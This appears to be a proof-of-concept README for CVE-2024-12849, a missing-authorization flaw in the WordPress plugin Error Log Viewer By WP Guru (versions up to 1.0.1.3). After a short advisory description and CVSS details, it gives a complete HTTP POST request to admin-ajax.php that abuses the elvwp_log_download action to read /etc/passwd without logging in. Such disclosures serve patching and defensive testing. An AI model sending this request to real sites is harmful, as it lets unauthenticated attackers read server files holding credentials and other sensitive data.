CVE-2024-12849 PoC — Error Log Viewer By WP Guru <= 1.0.1.3 - Missing Authorization to Unauthenticated Arbitrary File Read

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Error Log Viewer By WP Guru <= 1.0.1.3 - Missing Authorization to Unauthenticated Arbitrary File Read

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# CVE-2024-12849
Error Log Viewer By WP Guru <= 1.0.1.3 - Missing Authorization to Unauthenticated Arbitrary File Read

# Description

The Error Log Viewer By WP Guru plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 1.0.1.3 via the wp_ajax_nopriv_elvwp_log_download AJAX action. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information.

## Details

- **Type**: plugin
- **Slug**: error-log-viewer-wp
- **Affected Version**: 1.0.1.3
- **CVSS Score**: 7.5
- **CVSS Rating**: High
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- **CVE**: CVE-2024-12849
- **Status**: Active

POC
---

```
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 80

action=elvwp_log_download&elvwp_error_log_download=1&elvwp_error_log=/etc/passwd
```

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0 directories, 1 file

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